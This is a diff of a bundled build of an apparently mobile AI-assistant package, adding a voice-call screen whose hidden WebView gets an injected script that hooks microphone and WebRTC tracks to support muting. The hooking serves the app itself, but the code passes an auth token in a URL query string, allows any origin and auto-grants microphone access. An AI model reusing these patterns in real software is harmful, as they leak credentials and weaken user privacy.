+ fontSize: fontSize5.md,
1992
+ textAlign: "center",
1993
+ paddingVertical: 16
1994
+ },
1995
+ error: {
1996
+ color: "#C15545",
1997
+ fontSize: fontSize5.md,
1998
+ textAlign: "center",
1999
+ paddingVertical: 16
2000
+ }
2001
+ });
2002
+
2003
+ // src/voice/VoiceCallSheet.tsx
2004
+ import { useEffect as useEffect8, useRef as useRef6, useMemo as useMemo5 } from "react";
2005
+ import {
2006
+ View as View14,
2007
+ Text as Text10,
2008
+ StyleSheet as StyleSheet13,
2009
+ Platform as Platform9,
2010
+ Pressable as Pressable8,
2011
+ ScrollView
2012
+ } from "react-native";
2013
+ import Svg2, { Path as Path2, Line as Line2 } from "react-native-svg";
2014
+ import { WebView as WebView3 } from "react-native-webview";
2015
+ import { ada as ada10 } from "@ateam-ai-mobile/core";
2016
+ import { AdaOrb as AdaOrb3, SurfaceFullscreen as SurfaceFullscreen2 } from "@ateam-ai-mobile/plugin-runtime";
2017
+
2018
+ // src/voice/useVoiceCall.ts
2019
+ import { useState as useState9, useRef as useRef5, useCallback as useCallback6 } from "react";
2020
+ import { getVoiceApiUrl as getVoiceApiUrl2, getToken as getToken2, getTenant as getTenant5, getUser as getUser2 } from "@ateam-ai-mobile/core";
2021
+ var INJECT_TRACK_HOOK = `
2022
+ (function() {
2023
+ if (window._adaTrackHookInstalled) return;
2024
+ window._adaTrackHookInstalled = true;
2025
+ window._allAudioTracks = [];
2026
+ window._adaPeerConnections = [];
2027
+
2028
+ function track(t) {
2029
+ if (t && t.kind === 'audio' && window._allAudioTracks.indexOf(t) === -1) {
2030
+ window._allAudioTracks.push(t);
2031
+ }
2032
+ }
2033
+
2034
+ // 1) Hook getUserMedia \u2014 captures mic streams at request time.
2035
+ try {
2036
+ if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
2037
+ const origGUM = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);
2038
+ navigator.mediaDevices.getUserMedia = async function(constraints) {
2039
+ const stream = await origGUM(constraints);
2040
+ if (constraints && constraints.audio) {
2041
+ try { stream.getAudioTracks().forEach(track); } catch (e) {}
2042
+ }
2043
+ return stream;
2044
+ };
2045
+ }
2046
+ } catch (e) {}
2047
+
2048
+ // 2) Hook RTCPeerConnection.addTrack \u2014 catches whatever the app sends.
2049
+ try {
2050
+ if (window.RTCPeerConnection) {
2051
+ const origPC = window.RTCPeerConnection;
2052
+ const origAddTrack = origPC.prototype.addTrack;
2053
+ const origAddStream = origPC.prototype.addStream;
2054
+ const origAddTransceiver = origPC.prototype.addTransceiver;
2055
+
2056
+ origPC.prototype.addTrack = function(t) {
2057
+ if (t && t.kind === 'audio') track(t);
2058
+ return origAddTrack.apply(this, arguments);
2059
+ };
2060
+ if (origAddStream) {
2061
+ origPC.prototype.addStream = function(stream) {
2062
+ try { stream.getAudioTracks().forEach(track); } catch (e) {}
2063
+ return origAddStream.apply(this, arguments);
2064
+ };
2065
+ }
2066
+ if (origAddTransceiver) {
2067
+ origPC.prototype.addTransceiver = function(arg) {
2068
+ if (arg && arg.kind === 'audio') {
2069
+ // Transceiver created with kind 'audio' \u2014 sender track set later.
2070
+ } else if (arg && arg.kind === undefined && arg.track && arg.track.kind === 'audio') {
2071
+ track(arg.track);
2072
+ }
2073
+ const tx = origAddTransceiver.apply(this, arguments);
2074
+ try {
2075
+ if (tx && tx.sender && tx.sender.track && tx.sender.track.kind === 'audio') track(tx.sender.track);
2076
+ } catch (e) {}
2077
+ return tx;
2078
+ };
2079
+ }
2080
+ }
2081
+ } catch (e) {}
2082
+
2083
+ // 3) Helper exposed for direct calls.
2084
+ window._adaSetMuted = function(muted) {
2085
+ let n = 0;
2086
+ if (Array.isArray(window._allAudioTracks)) {
2087
+ window._allAudioTracks.forEach(function(t) {
2088
+ try { t.enabled = !muted; n++; } catch (e) {}
2089
+ });
2090
+ }
2091
+ return n;
2092
+ };
2093
+ })(); true;
2094
+ `;
2095
+ var buildMuteScript = (muted) => `
2096
+ (function(muted) {
2097
+ if (typeof window.setMuted === 'function') { window.setMuted(muted); }
2098
+ let n = 0;
2099
+ if (typeof window._adaSetMuted === 'function') {
2100
+ n = window._adaSetMuted(muted);
2101
+ }
2102
+ // Last-resort scan if hook somehow missed.
2103
+ if (n === 0 && Array.isArray(window._allAudioTracks)) {
2104
+ window._allAudioTracks.forEach(function(t) {
2105
+ try { t.enabled = !muted; n++; } catch (e) {}
2106
+ });
2107
+ }
2108
+ console.log('[ada-mute]', muted ? 'MUTED' : 'UNMUTED', 'tracks=', n);
2109
+ })(${muted}); true;
2110
+ `;
2111
+ function useVoiceCall() {
2112
+ const [callState, setCallState] = useState9("idle");
2113
+ const [sessionId, setSessionId] = useState9(null);
2114
+ const [error, setError] = useState9(null);
2115
+ const [transcript, setTranscript] = useState9([]);
2116
+ const [aiPartial, setAiPartial] = useState9("");
2117
+ const [userPartial, setUserPartial] = useState9("");
2118
+ const [muted, setMuted] = useState9(false);
2119
+ const webViewRef = useRef5(null);
2120
+ const handleWebViewMessage = useCallback6((event) => {
2121
+ try {
2122
+ const data = JSON.parse(event.nativeEvent.data);
2123
+ console.log("[VoiceWebView] message:", data.type, data.text?.slice?.(0, 50) || data.state || "");
2124
+ switch (data.type) {
2125
+ case "callState":
2126
+ case "call-state":
2127
+ setCallState(data.state);
2128
+ if (data.sessionId) setSessionId(data.sessionId);
2129
+ if (data.error) setError(data.error);
2130
+ break;
2131
+ case "transcript":
2132
+ setTranscript((prev) => [...prev, { role: data.role, text: data.text, ts: Date.now() }]);
2133
+ break;
2134
+ case "aiPartial":
2135
+ setAiPartial(data.text);
2136
+ break;
2137
+ case "userPartial":
2138
+ setUserPartial(data.text);
2139
+ break;
2140
+ case "clearPartials":
2141
+ setAiPartial("");
2142
+ setUserPartial("");
2143
+ break;
2144
+ case "error":
2145
+ setError(data.message);
2146
+ setCallState("error");
2147
+ break;
2148
+ }
2149
+ } catch {
2150
+ }
2151
+ }, []);
2152
+ const startCall = useCallback6(() => {
2153
+ setCallState("connecting");
2154
+ setError(null);
2155
+ setTranscript([]);
2156
+ setAiPartial("");
2157
+ setUserPartial("");
2158
+ }, []);
2159
+ const stopCall = useCallback6(() => {
2160
+ webViewRef.current?.injectJavaScript?.("window.hangUp && window.hangUp(); true;");
2161
+ setCallState("idle");
2162
+ setAiPartial("");
2163
+ setUserPartial("");
2164
+ setMuted(false);
2165
+ }, []);
2166
+ const toggleMute = useCallback6(() => {
2167
+ setMuted((prev) => {
2168
+ const next = !prev;
2169
+ webViewRef.current?.injectJavaScript?.(buildMuteScript(next));
2170
+ return next;
2171
+ });
2172
+ }, []);
2173
+ const getWebViewSource = useCallback6(() => {
2174
+ const token = getToken2();
2175
+ const tenant = getTenant5();
2176
+ const actorId = getUser2()?.actorId || "";
2177
+ return {
2178
+ uri: `${getVoiceApiUrl2()}/app?mode=mini&embedded=rn&authToken=${encodeURIComponent(token || "")}&tenant=${encodeURIComponent(tenant)}&actorId=${encodeURIComponent(actorId)}`
2179
+ };
2180
+ }, []);
2181
+ return {
2182
+ callState,
2183
+ sessionId,
2184
+ error,
2185
+ transcript,
2186
+ aiPartial,
2187
+ userPartial,
2188
+ muted,
2189
+ startCall,
2190
+ stopCall,
2191
+ toggleMute,
2192
+ handleWebViewMessage,
2193
+ getWebViewSource,
2194
+ webViewRef,
2195
+ injectedTrackHook: INJECT_TRACK_HOOK
2196
+ };
2197
+ }
2198
+
2199
+ // src/voice/VoiceCallSheet.tsx
2200
+ import { jsx as jsx15, jsxs as jsxs12 } from "react/jsx-runtime";
2201
+ var fontFam6 = Platform9.OS === "ios" ? "SF Pro Rounded" : void 0;
2202
+ var HIGHLIGHT_PATTERNS = [
2203
+ /[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/g,
2204
+ /(?:\+?\d[\s\-().]?){7,}\d/g,
2205
+ /\$\d[\d,]*(?:\.\d{1,2})?/g,
2206
+ /\b\d{1,2}:\d{2}\s?(?:am|pm|AM|PM)?\b/g,
2207
+ /\bhttps?:\/\/\S+/g,
2208
+ /\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b/g
2209
+ ];
2210
+ function highlightSegments(text) {
2211
+ const ranges = [];
2212
+ for (const p of HIGHLIGHT_PATTERNS) {
2213
+ p.lastIndex = 0;
2214
+ let m;
2215
+ while ((m = p.exec(text)) !== null) {
2216
+ ranges.push([m.index, m.index + m[0].length]);
2217
+ }
2218
+ }
2219
+ if (!ranges.length) return [{ text, important: false }];
2220
+ ranges.sort((a, b) => a[0] - b[0]);
2221
+ const merged = [];
2222
+ for (const r of ranges) {
2223
+ if (merged.length && r[0] <= merged[merged.length - 1][1]) {
2224
+ merged[merged.length - 1][1] = Math.max(merged[merged.length - 1][1], r[1]);
2225
+ } else {
2226
+ merged.push([r[0], r[1]]);
2227
+ }
2228
+ }
2229
+ const segments = [];
2230
+ let cursor = 0;
2231
+ for (const [start, end] of merged) {
2232
+ if (start > cursor) segments.push({ text: text.slice(cursor, start), important: false });
2233
+ segments.push({ text: text.slice(start, end), important: true });
2234
+ cursor = end;
2235
+ }
2236
+ if (cursor < text.length) segments.push({ text: text.slice(cursor), important: false });
2237
+ return segments;
2238
+ }
2239
+ function HighlightedText({
2240
+ text,
2241
+ baseStyle,
2242
+ importantStyle
2243
+ }) {
2244
+ const segments = useMemo5(() => highlightSegments(text), [text]);
2245
+ return /* @__PURE__ */ jsx15(Text10, { style: baseStyle, children: segments.map((seg, i) => /* @__PURE__ */ jsx15(Text10, { style: seg.important ? importantStyle : void 0, children: seg.text }, i)) });
2246
+ }
2247
+ function VoiceCallSheet({ visible, onClose }) {
2248
+ const {
2249
+ callState,
2250
+ aiPartial,
2251
+ userPartial,
2252
+ transcript,
2253
+ error,
2254
+ muted,
2255
+ startCall,
2256
+ stopCall,
2257
+ toggleMute,
2258
+ handleWebViewMessage,
2259
+ getWebViewSource,
2260
+ webViewRef,
2261
+ injectedTrackHook
2262
+ } = useVoiceCall();
2263
+ const scrollRef = useRef6(null);
2264
+ useEffect8(() => {
2265
+ if (visible && callState === "idle") startCall();
2266
+ }, [visible]);
2267
+ useEffect8(() => {
2268
+ scrollRef.current?.scrollToEnd?.({ animated: true });
2269
+ }, [transcript.length, aiPartial, userPartial]);
2270
+ const handleHangUp = () => {
2271
+ stopCall();
2272
+ onClose();
2273
+ };
2274
+ const orbState = useMemo5(() => {
2275
+ if (callState === "connecting") return "thinking";
2276
+ if (callState === "error") return "idle";
2277
+ if (aiPartial) return "speaking";
2278
+ if (userPartial) return "listening";
2279
+ return "idle";
2280
+ }, [callState, aiPartial, userPartial]);
2281
+ const statusLabel = useMemo5(() => {
2282
+ if (callState === "connecting") return "Connecting\u2026";
2283
+ if (callState === "error") return error || "Couldn\u2019t connect";
2284
+ if (aiPartial) return "Ada is speaking";
2285
+ if (userPartial) return "Listening";
2286
+ if (callState === "connected") return "Go ahead, I\u2019m here.";
2287
+ return "";
2288
+ }, [callState, aiPartial, userPartial, error]);
2289
+ if (!visible) return null;
2290
+ const visibleEntries = transcript.filter((e) => e.role === "user" || e.role === "ai");
2291
+ return /* @__PURE__ */ jsxs12(
2292
+ SurfaceFullscreen2,
2293
+ {
2294
+ visible,
2295
+ onClose: handleHangUp,
2296
+ status: statusLabel,
2297
+ hero: /* @__PURE__ */ jsx15(AdaOrb3, { size: 180, state: orbState }),
2298
+ closeIcon: "hangup",
2299
+ closeLabel: "End",
2300
+ children: [
2301
+ /* @__PURE__ */ jsxs12(
2302
+ ScrollView,
2303
+ {
2304
+ ref: scrollRef,
2305
+ style: styles13.transcript,
2306
+ contentContainerStyle: styles13.transcriptContent,
2307
+ showsVerticalScrollIndicator: false,
2308
+ children: [
2309
+ callState === "error" && error ? /* @__PURE__ */ jsx15(View14, { style: styles13.errorBox, children: /* @__PURE__ */ jsx15(Text10, { style: styles13.errorText, children: error }) }) : null,
2310
+ visibleEntries.map((entry, i) => /* @__PURE__ */ jsxs12(View14, { style: styles13.entry, children: [
2311
+ /* @__PURE__ */ jsx15(Text10, { style: styles13.role, children: entry.role === "user" ? "YOU" : "ADA" }),
2312
+ /* @__PURE__ */ jsx15(
2313
+ HighlightedText,
2314
+ {
2315
+ text: entry.text,
2316
+ baseStyle: styles13.entryText,
2317
+ importantStyle: styles13.important
2318
+ }
2319
+ )
2320
+ ] }, `${entry.ts}-${i}`)),
2321
+ userPartial || aiPartial ? /* @__PURE__ */ jsxs12(View14, { style: styles13.entry, children: [
2322
+ /* @__PURE__ */ jsx15(Text10, { style: styles13.role, children: userPartial ? "YOU" : "ADA" }),
2323
+ /* @__PURE__ */ jsx15(
2324
+ HighlightedText,
2325
+ {
2326
+ text: userPartial || aiPartial,
2327
+ baseStyle: styles13.entryTextLive,
2328
+ importantStyle: styles13.important
2329
+ }
2330
+ )
2331
+ ] }) : null
2332
+ ]
2333
+ }
2334
+ ),
2335
+ callState === "connected" || callState === "connecting" ? /* @__PURE__ */ jsxs12(View14, { style: styles13.muteWrap, pointerEvents: "box-none", children: [
2336
+ /* @__PURE__ */ jsx15(
2337
+ Pressable8,
2338
+ {
2339
+ onPress: toggleMute,
2340
+ accessibilityRole: "button",
2341
+ accessibilityLabel: muted ? "Unmute microphone" : "Mute microphone",
2342
+ accessibilityState: { selected: muted },
2343
+ style: [styles13.muteBtn, muted && styles13.muteBtnActive],
2344
+ hitSlop: 12,
2345
+ children: /* @__PURE__ */ jsxs12(Svg2, { width: 22, height: 22, viewBox: "0 0 24 24", fill: "none", stroke: muted ? ada10.paper : ada10.ink, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: [
2346
+ /* @__PURE__ */ jsx15(Path2, { d: "M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z" }),
2347
+ /* @__PURE__ */ jsx15(Path2, { d: "M19 10v2a7 7 0 0 1-14 0v-2" }),
2348
+ /* @__PURE__ */ jsx15(Line2, { x1: "12", y1: "19", x2: "12", y2: "23" }),
2349
+ /* @__PURE__ */ jsx15(Line2, { x1: "8", y1: "23", x2: "16", y2: "23" }),
2350
+ muted ? /* @__PURE__ */ jsx15(Line2, { x1: "3", y1: "3", x2: "21", y2: "21", stroke: ada10.paper, strokeWidth: 2.4 }) : null
2351
+ ] })
2352
+ }
2353
+ ),
2354
+ /* @__PURE__ */ jsx15(Text10, { style: styles13.muteLabel, children: muted ? "Muted" : "Mute" })
2355
+ ] }) : null,
2356
+ callState !== "idle" && /* @__PURE__ */ jsx15(View14, { style: styles13.hiddenWebView, pointerEvents: "none", children: /* @__PURE__ */ jsx15(
2357
+ WebView3,
2358
+ {
2359
+ ref: webViewRef,
2360
+ source: getWebViewSource(),
2361
+ style: { flex: 1, backgroundColor: "transparent" },
2362
+ onMessage: handleWebViewMessage,
2363
+ onError: (e) => console.log("[VoiceWebView] error:", e.nativeEvent?.description),
2364
+ injectedJavaScriptBeforeContentLoaded: injectedTrackHook,
2365
+ mediaPlaybackRequiresUserAction: false,
2366
+ allowsInlineMediaPlayback: true,
2367
+ mediaCapturePermissionGrantType: "grant",
2368
+ javaScriptEnabled: true,
2369
+ originWhitelist: ["*"]
2370
+ }
2371
+ ) })
2372
+ ]
2373
+ }
2374
+ );
2375
+ }
2376
+ var styles13 = StyleSheet13.create({
2377
+ transcript: {
2378
+ flex: 1,
2379
+ paddingHorizontal: 28
2380
+ },
2381
+ transcriptContent: {
2382
+ paddingTop: 8,
2383
+ paddingBottom: 16,
2384
+ gap: 14
2385
+ },
2386
+ entry: {
2387
+ flexDirection: "row",
2388
+ gap: 10,
2389
+ alignItems: "flex-start"
2390
+ },
2391
+ role: {
2392
+ fontSize: 10,
2393
+ fontFamily: fontFam6,
2394
+ fontWeight: "700",
2395
+ color: ada10.inkMuted,
2396
+ letterSpacing: 1.4,
2397
+ minWidth: 32,
2398
+ paddingTop: 3,
2399
+ opacity: 0.55
2400
+ },
2401
+ entryText: {
2402
+ flex: 1,
2403
+ fontSize: 14,
2404
+ fontFamily: fontFam6,
2405
+ fontWeight: "400",
2406
+ color: ada10.inkSoft,
2407
+ lineHeight: 20,
2408
+ letterSpacing: -0.1,
2409
+ opacity: 0.42
2410
+ },
2411
+ entryTextLive: {
2412
+ flex: 1,
2413
+ fontSize: 14,
2414
+ fontFamily: fontFam6,
2415
+ fontWeight: "400",
2416
+ color: ada10.inkSoft,
2417
+ lineHeight: 20,
2418
+ letterSpacing: -0.1,
2419
+ opacity: 0.7
2420
+ },
2421
+ important: {
2422
+ fontSize: 17,
2423
+ fontFamily: fontFam6,
2424
+ fontWeight: "700",
2425
+ color: ada10.ink,
2426
+ letterSpacing: -0.1,
2427
+ opacity: 1
2428
+ },
2429
+ errorBox: {
2430
+ backgroundColor: "rgba(239,68,68,0.12)",
2431
+ borderColor: "rgba(239,68,68,0.45)",
2432
+ borderWidth: 1,
2433
+ borderRadius: 10,
2434
+ paddingVertical: 10,
2435
+ paddingHorizontal: 14,
2436
+ marginBottom: 12
2437
+ },
2438
+ errorText: {
2439
+ fontSize: 13,
2440
+ fontFamily: fontFam6,
2441
+ fontWeight: "500",
2442
+ color: "#fca5a5",
2443
+ lineHeight: 18
2444
+ },
2445
+ muteWrap: {
2446
+ position: "absolute",
2447
+ bottom: Platform9.OS === "ios" ? 56 : 40,
2448
+ left: 28,
2449
+ alignItems: "center",
2450
+ gap: 6
2451
+ },
2452
+ muteBtn: {
2453
+ width: 56,
2454
+ height: 56,
2455
+ borderRadius: 28,
2456
+ backgroundColor: ada10.paperSoft,
2457
+ borderWidth: 1,
2458
+ borderColor: ada10.border,
2459
+ justifyContent: "center",
2460
+ alignItems: "center"
2461
+ },
2462
+ muteBtnActive: {
2463
+ backgroundColor: "#C15545",
2464
+ borderColor: "#C15545"
2465
+ },
2466
+ muteLabel: {
2467
+ fontSize: 12,
2468
+ fontFamily: fontFam6,
2469
+ fontWeight: "500",
2470
+ color: ada10.inkMuted,
2471
+ letterSpacing: 0.3
2472
+ },
2473
+ hiddenWebView: {
2474
+ position: "absolute",
2475
+ width: 1,
2476
+ height: 1,
2477
+ top: -100,
2478
+ left: -100,
2479
+ opacity: 0
2480
+ }
2481
+ });
1833
2482
  export {
1834
2483
  AdasChatScreen,
1835
2484
  ChatInput,
@@ -1841,13 +2490,20 @@ export {
1841
2490
  Plugin,
1842
2491
  PluginSurface,
1843
2492
  TableCardBlock,
2493
+ TenantPicker,
1844
2494
  TypingIndicator,
1845
2495
  UIActionsRow,
2496
+ VoiceCallSheet,
2497
+ WidgetHost,
1846
2498
  WidgetWebView,
1847
2499
  buildPluginBridgeJS,
2500
+ openWidget,
1848
2501
  setClipboardProvider,
2502
+ setPluginWebViewExtraHosts,
1849
2503
  setUIActionNavigator,
1850
2504
  useLightboxStore,
1851
- usePluginBridge
2505
+ usePluginBridge,
2506
+ useVoiceCall,
2507
+ useWidgetHostStore
1852
2508
  };
1853
2509
  //# sourceMappingURL=index.mjs.map